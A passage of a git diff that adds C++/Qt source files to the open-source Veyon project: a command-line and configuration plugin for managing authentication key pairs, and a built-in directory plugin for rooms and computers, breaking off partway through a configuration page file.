b/plugins/authkeys/AuthKeysManager.h @@ -0,0 +1,81 @@ +/* + * AuthKeysManager.h - declaration of AuthKeysManager class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef AUTH_KEYS_MANAGER_H +#define AUTH_KEYS_MANAGER_H + +#include "CryptoCore.h" + +class AuthKeysManager : public QObject +{ + Q_OBJECT +public: + AuthKeysManager( QObject* parent = nullptr ); + ~AuthKeysManager(); + + const QString& resultMessage() const + { + return m_resultMessage; + } + + bool createKeyPair( const QString& name ); + bool deleteKey( const QString& name, const QString& type ); + bool exportKey( const QString& name, const QString& type, const QString& outputFile ); + bool importKey( const QString& name, const QString& type, const QString& inputFile ); + QStringList listKeys(); + bool extractPublicFromPrivateKey( const QString& name ); + + bool writePrivateKeyFile( const CryptoCore::PrivateKey& privateKey, const QString& privateKeyFileName ); + bool writePublicKeyFile( const CryptoCore::PublicKey& publicKey, const QString& publicKeyFileName ); + + QString detectKeyType( const QString& keyFile ); + + bool setAccessGroup( const QString& key, const QString& group ); + QString accessGroup( const QString& key ); + + QString keyPairId( const QString& key ); + + static QString exportedKeyFileName( const QString& name, const QString& type ); + static QString keyNameFromExportedKeyFile( const QString& keyFile ); + +private: + bool checkKey( const QString& name, const QString& type, bool checkIsReadable = true ); + + QString keyFilePathFromType( const QString& name, const QString& type ) const; + bool setKeyFilePermissions( const QString& name, const QString& type ) const; + bool setPrivateKeyFilePermissions( const QString& fileName ) const; + bool setPublicKeyFilePermissions( const QString& fileName ) const; + + const QString m_keyTypePrivate; + const QString m_keyTypePublic; + const QString m_checkPermissions; + const QString m_invalidKeyName; + const QString m_invalidKeyType; + const QString m_keyDoesNotExist; + const QString m_keysAlreadyExists; + QString m_resultMessage; + +}; + +#endif // AUTH_KEYS_MANAGER_H diff --git a/plugins/authkeys/AuthKeysPlugin.cpp b/plugins/authkeys/AuthKeysPlugin.cpp new file mode 100644 index 0000000..65388be --- /dev/null +++ b/plugins/authkeys/AuthKeysPlugin.cpp @@ -0,0 +1,339 @@ +/* + * AuthKeysPlugin.cpp - implementation of AuthKeysPlugin class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "AuthKeysConfigurationPage.h" +#include "AuthKeysPlugin.h" +#include "AuthKeysManager.h" + + +AuthKeysPlugin::AuthKeysPlugin( QObject* parent ) : + QObject( parent ), + m_commands( { +{ "create", tr( "Create new authentication key pair" ) }, +{ "delete", tr( "Delete authentication key" ) }, +{ "list", tr( "List authentication keys" ) }, +{ "import", tr( "Import public or private key" ) }, +{ "export", tr( "Export public or private key" ) }, +{ "extract", tr( "Extract public key from existing private key" ) }, +{ "setaccessgroup", tr( "Set user group allowed to access a key" ) }, + } ) +{ +} + + + +AuthKeysPlugin::~AuthKeysPlugin() +{ +} + + + +QStringList AuthKeysPlugin::commands() const +{ + return m_commands.keys(); +} + + + +QString AuthKeysPlugin::commandHelp( const QString& command ) const +{ + return m_commands.value( command ); +} + + + +ConfigurationPage* AuthKeysPlugin::createConfigurationPage() +{ + return new AuthKeysConfigurationPage(); +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_help( const QStringList& arguments ) +{ + const auto command = arguments.value( 0 ); + + const QMap commands = { + { QStringLiteral("setaccessgroup"), + QStringList( { QStringLiteral("<%1> <%2>").arg( tr("KEY"), tr("ACCESS GROUP") ), + tr( "This command adjusts file access permissions to such that only the " + "user group has read access to it." ) } ) }, + { QStringLiteral("create"), + QStringList( { QStringLiteral("<%1>").arg( tr("NAME") ), + tr( "This command creates a new authentication key pair with name and saves private and " + "public key to the configured key directories." ) } ) }, + { QStringLiteral("delete"), + QStringList( { QStringLiteral("<%1>").arg( tr("KEY") ), + tr( "This command deletes the authentication key from the configured key directory. " + "Please note that a key can't be recovered once deleted." ) } ) }, + { QStringLiteral("export"), + QStringList( { QStringLiteral("<%1> [<%2>]").arg( tr("KEY"), tr("FILE") ), + tr( "This command exports the authentication key to . " + "If is not specified a name will be constructed from name and type of ." ) } ) }, + { QStringLiteral("import"), + QStringList( { QStringLiteral("<%1> [<%2>]").arg( tr( "KEY" ), tr( "FILE" ) ), + tr( "This command imports the authentication key from . " + "If is not specified a name will be constructed from name and type of ." ) } ) }, + { QStringLiteral("list"), + QStringList( { QStringLiteral("[details]"), + tr( "This command lists all available authentication keys in the configured key directory. " + "If the option \"%1\" is specified a table with key details will be displayed instead. " + "Some details might be missing if a key is not accessible e.g. due to the lack of read permissions." ).arg( "details" ) } ) }, + { QStringLiteral("extract"), + QStringList( { QStringLiteral("<%1>").arg( tr("KEY") ), + tr( "This command extracts the public key part from the private key and saves it as the " + "corresponding public key." ) } ) }, + }; + + if( commands.contains( command ) ) + { + const auto& helpString = commands[command]; + print( QStringLiteral("\n%1 %2\n\n%3\n\n").arg( command, helpString[0], helpString[1] ) ); + + return NoResult; + } + + print( tr("Please specify the command to display help for!") ); + + return Unknown; +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_setaccessgroup( const QStringList& arguments ) +{ + if( arguments.size() < 2 ) + { + return NotEnoughArguments; + } + + const auto key = arguments[0]; + const auto accessGroup = arguments[1]; + + AuthKeysManager manager; + if( manager.setAccessGroup( key, accessGroup ) == false ) + { + error( manager.resultMessage() ); + + return Failed; + } + + info( manager.resultMessage() ); + + return Successful; +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_create( const QStringList& arguments ) +{ + if( arguments.isEmpty() ) + { + return NotEnoughArguments; + } + + AuthKeysManager manager; + if( manager.createKeyPair( arguments.first() ) == false ) + { + error( manager.resultMessage() ); + + return Failed; + } + + info( manager.resultMessage() ); + + return Successful; +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_delete( const QStringList& arguments ) +{ + if( arguments.size() < 1 ) + { + return NotEnoughArguments; + } + + const auto nameAndType = arguments.first().split( '/' ); + const auto name = nameAndType.value( 0 ); + const auto type = nameAndType.value( 1 ); + + AuthKeysManager manager; + if( manager.deleteKey( name, type ) == false ) + { + error( manager.resultMessage() ); + + return Failed; + } + + info( manager.resultMessage() ); + + return Successful; +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_export( const QStringList& arguments ) +{ + if( arguments.size() < 1 ) + { + return NotEnoughArguments; + } + + const auto nameAndType = arguments[0].split( '/' ); + const auto name = nameAndType.value( 0 ); + const auto type = nameAndType.value( 1 ); + + auto outputFile = arguments.value( 1 ); + + if( outputFile.isEmpty() ) + { + outputFile = AuthKeysManager::exportedKeyFileName( name, type ); + } + + AuthKeysManager manager; + if( manager.exportKey( name, type, outputFile ) == false ) + { + error( manager.resultMessage() ); + + return Failed; + } + + info( manager.resultMessage() ); + + return Successful; +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_import( const QStringList& arguments ) +{ + if( arguments.size() < 1 ) + { + return NotEnoughArguments; + } + + const auto nameAndType = arguments[0].split( '/' ); + const auto name = nameAndType.value( 0 ); + const auto type = nameAndType.value( 1 ); + + auto inputFile = arguments.value( 1 ); + + if( inputFile.isEmpty() ) + { + inputFile = AuthKeysManager::exportedKeyFileName( name, type ); + } + + AuthKeysManager manager; + if( manager.importKey( name, type, inputFile ) == false ) + { + error( manager.resultMessage() ); + + return Failed; + } + + info( manager.resultMessage() ); + + return Successful; +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_list( const QStringList& arguments ) +{ + if( arguments.value( 0 ) == QStringLiteral("details") ) + { + printAuthKeyTable(); + } + else + { + printAuthKeyList(); + } + + return NoResult; +} + + + +CommandLinePluginInterface::RunResult AuthKeysPlugin::handle_extract( const QStringList& arguments ) +{ + if( arguments.isEmpty() ) + { + return NotEnoughArguments; + } + + AuthKeysManager manager; + if( manager.extractPublicFromPrivateKey( arguments.first() ) == false ) + { + error( manager.resultMessage() ); + + return Failed; + } + + info( manager.resultMessage() ); + + return Successful; +} + + + +void AuthKeysPlugin::printAuthKeyTable() +{ + AuthKeysTableModel tableModel; + tableModel.reload(); + + CommandLineIO::TableHeader tableHeader( { tr("NAME"), tr("TYPE"), tr("PAIR ID"), tr("ACCESS GROUP") } ); + CommandLineIO::TableRows tableRows; + + tableRows.reserve( tableModel.rowCount() ); + + for( int i = 0; i < tableModel.rowCount(); ++i ) + { + tableRows.append( { authKeysTableData( tableModel, i, AuthKeysTableModel::ColumnKeyName ), + authKeysTableData( tableModel, i, AuthKeysTableModel::ColumnKeyType ), + authKeysTableData( tableModel, i, AuthKeysTableModel::ColumnKeyPairID ), + authKeysTableData( tableModel, i, AuthKeysTableModel::ColumnAccessGroup ) } ); + } + + CommandLineIO::printTable( CommandLineIO::Table( tableHeader, tableRows ) ); +} + + + +QString AuthKeysPlugin::authKeysTableData( const AuthKeysTableModel& tableModel, int row, int column ) +{ + return tableModel.data( tableModel.index( row, column ), Qt::DisplayRole ).toString(); +} + + + +void AuthKeysPlugin::printAuthKeyList() +{ + const auto keys = AuthKeysManager().listKeys(); + + for( const auto& key : keys ) + { + print( key ); + } +} diff --git a/plugins/authkeys/AuthKeysPlugin.h b/plugins/authkeys/AuthKeysPlugin.h new file mode 100644 index 0000000..ec2d5e7 --- /dev/null +++ b/plugins/authkeys/AuthKeysPlugin.h @@ -0,0 +1,113 @@ +/* + * AuthKeysPlugin.h - declaration of AuthKeysPlugin class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef AUTH_KEYS_PLUGIN_H +#define AUTH_KEYS_PLUGIN_H + +#include "CommandLineIO.h" +#include "CommandLinePluginInterface.h" +#include "ConfigurationPagePluginInterface.h" + +class AuthKeysTableModel; + +class AuthKeysPlugin : public QObject, + CommandLinePluginInterface, + PluginInterface, + CommandLineIO, + ConfigurationPagePluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.AuthKeys") + Q_INTERFACES(PluginInterface + CommandLinePluginInterface + ConfigurationPagePluginInterface) +public: + AuthKeysPlugin( QObject* parent = nullptr ); + ~AuthKeysPlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("4790bad8-4c56-40d5-8361-099a68f0c24b"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "AuthKeys" ); + } + + QString description() const override + { + return tr( "Command line support for managing authentication keys" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + QString commandLineModuleName() const override + { + return QStringLiteral( "authkeys" ); + } + + QString commandLineModuleHelp() const override + { + return tr( "Commands for managing authentication keys" ); + } + + QStringList commands() const override; + QString commandHelp( const QString& command ) const override; + + ConfigurationPage* createConfigurationPage() override; + +public slots: + CommandLinePluginInterface::RunResult handle_help( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_setaccessgroup( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_create( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_delete( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_export( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_import( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_list( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_extract( const QStringList& arguments ); + +private: + static void printAuthKeyTable(); + static QString authKeysTableData( const AuthKeysTableModel& tableModel, int row, int column ); + static void printAuthKeyList(); + + QMap m_commands; + +}; + +#endif // AUTH_KEYS_COMMAND_LINE_PLUGIN_H diff --git a/plugins/authkeys/AuthKeysTableModel.cpp b/plugins/authkeys/AuthKeysTableModel.cpp new file mode 100644 index 0000000..3f3e36d --- /dev/null +++ b/plugins/authkeys/AuthKeysTableModel.cpp @@ -0,0 +1,114 @@ +/* + * AuthKeysTableModel.cpp - implementation of AuthKeysTableModel class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "AuthKeysTableModel.h" +#include "AuthKeysManager.h" + +AuthKeysTableModel::AuthKeysTableModel( QObject* parent ) : + QAbstractTableModel( parent ), + m_manager( new AuthKeysManager( this ) ), + m_keys() +{ +} + + + +AuthKeysTableModel::~AuthKeysTableModel() +{ + delete m_manager; +} + + + +void AuthKeysTableModel::reload() +{ + beginResetModel(); + + m_keys = m_manager->listKeys(); + + endResetModel(); +} + + + +int AuthKeysTableModel::columnCount( const QModelIndex& parent ) const +{ + Q_UNUSED(parent) + + return ColumnCount; +} + + + +int AuthKeysTableModel::rowCount( const QModelIndex& parent ) const +{ + Q_UNUSED(parent) + + return m_keys.size(); +} + + + +QVariant AuthKeysTableModel::data( const QModelIndex& index, int role ) const +{ + if( index.isValid() == false || role != Qt::DisplayRole ) + { + return QVariant(); + } + + const auto& key = m_keys[index.row()]; + + switch( index.column() ) + { + case ColumnKeyName: return key.split( '/' ).value( 0 ); + case ColumnKeyType: return key.split( '/' ).value( 1 ); + case ColumnAccessGroup: return m_manager->accessGroup( key ); + case ColumnKeyPairID: return m_manager->keyPairId( key ); + default: break; + } + + return QVariant(); +} + + + +QVariant AuthKeysTableModel::headerData( int section, Qt::Orientation orientation, int role ) const +{ + if( orientation != Qt::Horizontal || role != Qt::DisplayRole ) + { + return QVariant(); + } + + switch( section ) + { + case ColumnKeyName: return tr( "Name" ); + case ColumnKeyType: return tr( "Type" ); + case ColumnAccessGroup: return tr( "Access group"); + case ColumnKeyPairID: return tr( "Pair ID"); + default: + break; + } + + return QVariant(); +} diff --git a/plugins/authkeys/AuthKeysTableModel.h b/plugins/authkeys/AuthKeysTableModel.h new file mode 100644 index 0000000..9f665e9 --- /dev/null +++ b/plugins/authkeys/AuthKeysTableModel.h @@ -0,0 +1,65 @@ +/* + * AuthKeysTableModel.h - declaration of AuthKeysTableModel class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef AUTH_KEYS_TABLE_MODEL_H +#define AUTH_KEYS_TABLE_MODEL_H + +#include + +class AuthKeysManager; + +class AuthKeysTableModel : public QAbstractTableModel +{ + Q_OBJECT +public: + enum Columns { + ColumnKeyName, + ColumnKeyType, + ColumnKeyPairID, + ColumnAccessGroup, + ColumnCount + }; + + AuthKeysTableModel( QObject* parent = nullptr ); + virtual ~AuthKeysTableModel(); + + void reload(); + + const QString& key( int row ) const + { + return m_keys[row]; + } + + int columnCount( const QModelIndex& parent = QModelIndex() ) const override; + int rowCount( const QModelIndex& parent = QModelIndex() ) const override; + QVariant data( const QModelIndex& index, int role ) const override; + QVariant headerData( int section, Qt::Orientation orientation, int role ) const override; + +private: + AuthKeysManager* m_manager; + QStringList m_keys; + +}; + +#endif // AUTH_KEYS_TABLE_MODEL_H diff --git a/plugins/authkeys/CMakeLists.txt b/plugins/authkeys/CMakeLists.txt new file mode 100644 index 0000000..fa58723 --- /dev/null +++ b/plugins/authkeys/CMakeLists.txt @@ -0,0 +1,18 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(authkeys + AuthKeysPlugin.cpp + AuthKeysConfigurationPage.cpp + AuthKeysTableModel.cpp + AuthKeysManager.cpp + MOCFILES + AuthKeysPlugin.h + AuthKeysConfigurationPage.h + AuthKeysTableModel.h + AuthKeysManager.h + FORMS + AuthKeysConfigurationPage.ui + RESOURCES + authkeys.qrc + COTIRE +) diff --git a/plugins/authkeys/authkeys.qrc b/plugins/authkeys/authkeys.qrc new file mode 100644 index 0000000..5f508d9 --- /dev/null +++ b/plugins/authkeys/authkeys.qrc @@ -0,0 +1,4 @@ + + + + diff --git a/plugins/builtindirectory/BuiltinDirectory.cpp b/plugins/builtindirectory/BuiltinDirectory.cpp new file mode 100644 index 0000000..36f80f7 --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectory.cpp @@ -0,0 +1,192 @@ +/* + * BuiltinDirectory.cpp - NetworkObjects from VeyonConfiguration + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "BuiltinDirectoryConfiguration.h" +#include "BuiltinDirectory.h" + + +BuiltinDirectory::BuiltinDirectory( BuiltinDirectoryConfiguration& configuration, QObject* parent ) : + NetworkObjectDirectory( parent ), + m_configuration( configuration ) +{ +} + + + +QList BuiltinDirectory::objects( const NetworkObject& parent ) +{ + if( parent.type() == NetworkObject::Root ) + { + return m_objects.keys(); + } + else if( parent.type() == NetworkObject::Group && + m_objects.contains( parent ) ) + { + return qAsConst(m_objects)[parent]; + } + + return QList(); +} + + + +QList BuiltinDirectory::queryObjects( NetworkObject::Type type, const QString& name ) +{ + const auto networkObjects = m_configuration.networkObjects(); + + QList objects; + + // search for corresponding group whose UID matches parent UID of computer object + for( const auto& networkObjectValue : networkObjects ) + { + NetworkObject networkObject( networkObjectValue.toObject() ); + + if( ( type == NetworkObject::None || networkObject.type() == type ) && + ( name.isEmpty() || networkObject.name().compare( name, Qt::CaseInsensitive ) == 0 ) ) + { + objects.append( networkObject ); + } + } + + return objects; +} + + + +NetworkObject BuiltinDirectory::queryParent( const NetworkObject& object ) +{ + const auto networkObjects = m_configuration.networkObjects(); + const auto parentUid = object.parentUid(); + + for( const auto& networkObjectValue : networkObjects ) + { + NetworkObject networkObject( networkObjectValue.toObject() ); + + if( networkObject.uid() == parentUid ) + { + return networkObject; + } + } + + return NetworkObject(); +} + + + +void BuiltinDirectory::update() +{ + m_configuration.reloadFromStore(); + + const auto networkObjects = m_configuration.networkObjects(); + + const NetworkObject rootObject( NetworkObject::Root ); + + QVector roomUids; + + for( const auto& networkObjectValue : networkObjects ) + { + const NetworkObject networkObject( networkObjectValue.toObject() ); + + if( networkObject.type() == NetworkObject::Group ) + { + roomUids.append( networkObject.uid() ); // clazy:exclude=reserve-candidates + + if( m_objects.contains( networkObject ) == false ) + { + emit objectsAboutToBeInserted( rootObject, m_objects.count(), 1 ); + m_objects[networkObject] = QList(); + emit objectsInserted(); + } + + updateRoom( networkObject ); + } + } + + int index = 0; + for( auto it = m_objects.begin(); it != m_objects.end(); ) // clazy:exclude=detaching-member + { + if( it.key().type() == NetworkObject::Group && + roomUids.contains( it.key().uid() ) == false ) + { + emit objectsAboutToBeRemoved( rootObject, index, 1 ); + it = m_objects.erase( it ); + emit objectsRemoved(); + } + else + { + ++it; + ++index; + } + } +} + + + +void BuiltinDirectory::updateRoom( const NetworkObject& roomObject ) +{ + const auto networkObjects = m_configuration.networkObjects(); + + QList& computerObjects = m_objects[roomObject]; // clazy:exclude=detaching-member + + QVector computerUids; + + for( const auto& networkObjectValue : networkObjects ) + { + NetworkObject networkObject( networkObjectValue.toObject() ); + + if( networkObject.parentUid() == roomObject.uid() ) + { + computerUids.append( networkObject.uid() ); // clazy:exclude=reserve-candidates + + int index = computerObjects.indexOf( networkObject ); + if( index < 0 ) + { + emit objectsAboutToBeInserted( roomObject, computerObjects.count(), 1 ); + computerObjects += networkObject; // clazy:exclude=reserve-candidates + emit objectsInserted(); + } + else if( computerObjects[index].exactMatch( networkObject ) == false ) + { + computerObjects.replace( index, networkObject ); + emit objectChanged( roomObject, index ); + } + } + } + + int index = 0; + for( auto it = computerObjects.begin(); it != computerObjects.end(); ) + { + if( computerUids.contains( it->uid() ) == false ) + { + emit objectsAboutToBeRemoved( roomObject, index, 1 ); + it = computerObjects.erase( it ); + emit objectsRemoved(); + } + else + { + ++it; + ++index; + } + } +} diff --git a/plugins/builtindirectory/BuiltinDirectory.h b/plugins/builtindirectory/BuiltinDirectory.h new file mode 100644 index 0000000..8cb353c --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectory.h @@ -0,0 +1,54 @@ +/* + * BuiltinDirectory.h - NetworkObjects from VeyonConfiguration + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef BUILTIN_DIRECTORY_H +#define BUILTIN_DIRECTORY_H + +#include + +#include "NetworkObjectDirectory.h" + +class BuiltinDirectoryConfiguration; + +class BuiltinDirectory : public NetworkObjectDirectory +{ + Q_OBJECT +public: + BuiltinDirectory( BuiltinDirectoryConfiguration& configuration, QObject* parent ); + + QList objects( const NetworkObject& parent ) override; + + QList queryObjects( NetworkObject::Type type, const QString& name ) override; + NetworkObject queryParent( const NetworkObject& object ) override; + + void update() override; + +private: + void updateRoom( const NetworkObject& roomObject ); + + BuiltinDirectoryConfiguration& m_configuration; + QHash> m_objects; +}; + +#endif // BUILTIN_DIRECTORY_H diff --git a/plugins/builtindirectory/BuiltinDirectoryConfiguration.cpp b/plugins/builtindirectory/BuiltinDirectoryConfiguration.cpp new file mode 100644 index 0000000..eb5d2dc --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectoryConfiguration.cpp @@ -0,0 +1,35 @@ +/* + * BuiltinDirectoryConfiguration.cpp - configuration values for BuiltinDirectory plugin + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "BuiltinDirectoryConfiguration.h" + + +BuiltinDirectoryConfiguration::BuiltinDirectoryConfiguration() : + Configuration::Proxy( &VeyonCore::config() ) +{ +} + + +FOREACH_BUILTIN_DIRECTORY_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/plugins/builtindirectory/BuiltinDirectoryConfiguration.h b/plugins/builtindirectory/BuiltinDirectoryConfiguration.h new file mode 100644 index 0000000..129bf46 --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectoryConfiguration.h @@ -0,0 +1,51 @@ +/* + * BuiltinDirectoryConfiguration.h - configuration values for BuiltinDirectory plugin + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef BUILTIN_DIRECTORY_CONFIGURATION_H +#define BUILTIN_DIRECTORY_CONFIGURATION_H + +#include "Configuration/Proxy.h" + +#define FOREACH_BUILTIN_DIRECTORY_CONFIG_PROPERTY(OP) \ + OP( BuiltinDirectoryConfiguration, m_configuration, JSONARRAY, networkObjects, setNetworkObjects, "NetworkObjects", "BuiltinDirectory" ); \ + /* legacy properties required for upgrade */ \ + OP( BuiltinDirectoryConfiguration, m_configuration, JSONARRAY, localDataNetworkObjects, setLocalDataNetworkObjects, "NetworkObjects", "LocalData" ); \ + +// clazy:excludeall=ctor-missing-parent-argument + +class BuiltinDirectoryConfiguration : public Configuration::Proxy +{ + Q_OBJECT +public: + BuiltinDirectoryConfiguration(); + + FOREACH_BUILTIN_DIRECTORY_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + +public slots: + void setNetworkObjects( const QJsonArray& ); + void setLocalDataNetworkObjects( const QJsonArray& ); + +} ; + +#endif diff --git a/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.cpp b/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.cpp new file mode 100644 index 0000000..768c699 --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.cpp @@ -0,0 +1,269 @@ +/* + * BuiltinDirectoryConfigurationPage.cpp - implementation of BuiltinDirectoryConfigurationPage + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "BuiltinDirectoryConfiguration.h" +#include "BuiltinDirectoryConfigurationPage.h" +#include "Configuration/UiMapping.h" +#include "NetworkObjectModel.h" +#include "ObjectManager.h" + +#include "ui_BuiltinDirectoryConfigurationPage.h" + +BuiltinDirectoryConfigurationPage::BuiltinDirectoryConfigurationPage( BuiltinDirectoryConfiguration& configuration, QWidget* parent ) : + ConfigurationPage( parent ), + ui(new Ui::BuiltinDirectoryConfigurationPage), + m_configuration( configuration ) +{ + ui->setupUi(this); + + populateRooms(); + + connect( ui->roomTableWidget, &QTableWidget::currentItemChanged, + this, &BuiltinDirectoryConfigurationPage::populateComputers ); +} + + + +BuiltinDirectoryConfigurationPage::~BuiltinDirectoryConfigurationPage() +{ + delete ui; +} + + + +void BuiltinDirectoryConfigurationPage::resetWidgets() +{ + populateRooms(); + + ui->roomTableWidget->setCurrentCell( 0, 0 ); +} + + + +void BuiltinDirectoryConfigurationPage::connectWidgetsToProperties() +{ +} + + + +void BuiltinDirectoryConfigurationPage::applyConfiguration() +{ +} + + + +void BuiltinDirectoryConfigurationPage::addRoom() +{ + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.add( NetworkObject( NetworkObject::Group, tr( "New room" ), + QString(), QString(), QString(), 